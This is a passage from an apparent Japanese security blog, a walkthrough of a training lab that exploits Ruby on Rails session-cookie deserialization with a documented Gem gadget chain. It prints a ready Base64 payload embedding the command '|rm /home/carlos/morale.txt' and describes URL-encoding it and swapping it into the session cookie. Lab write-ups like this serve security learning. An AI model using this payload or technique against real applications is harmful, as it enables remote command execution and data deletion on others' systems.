Shikata Ga Nai

Private? There is no such things.

Exploiting Ruby deserialization using a documented gadget chainをやってみた

Hello there, ('ω')ノ

 

文書化されたガジェットチェーンを使用したRubyの逆シリアル化の活用を。

シリアル化ベースのセッションメカニズムと。

Ruby onRailsフレームワークを使用するとこのことで。

まずは、ログインして。

 wiener/peter

 

f:id:ThisIsOne:20210220164316p:plain

 

セッションCookieにシリアル化されたRubyオブジェクトが含まれていて。


f:id:ThisIsOne:20210220164353p:plain

 

下記サイトからRuby2.xのペイロードを生成するためのスクリプトをコピーして。

 https://www.elttam.com/blog/ruby-deserialization/

 

f:id:ThisIsOne:20210220163133p:plain

 

ファイルを作成して。

下記のファイル内で、削除するコマンドに変更して。

 |rm /home/carlos/morale.txt

 

f:id:ThisIsOne:20210220170614p:plain

 

スクリプトを実行すると。

ペイロードを含むシリアル化されたオブジェクトが生成されて。 

出力された16進バージョンのオブジェクトではなく。

Base64エンコードバージョンをコピーして。


BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0
BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNw
ZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uBjoRQGxvYWRlZF9mcm9tSSIg
fHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0BjoGRVRvOwgAOhFAZGV2ZWxv
cG1lbnRG

 

f:id:ThisIsOne:20210220170408p:plain


Burpのデコーダへ貼り付けて、改行を削除して。

Base64のデコードで内容を確認して。

 

f:id:ThisIsOne:20210220170744p:plain


URLエンコードして。

 

f:id:ThisIsOne:20210220170816p:plain

 

Cookieを入れ替えて実行すると。

 

f:id:ThisIsOne:20210220170933p:plain


クリアできた。

 

f:id:ThisIsOne:20210220171009p:plain

 

Best regards, (^^ゞ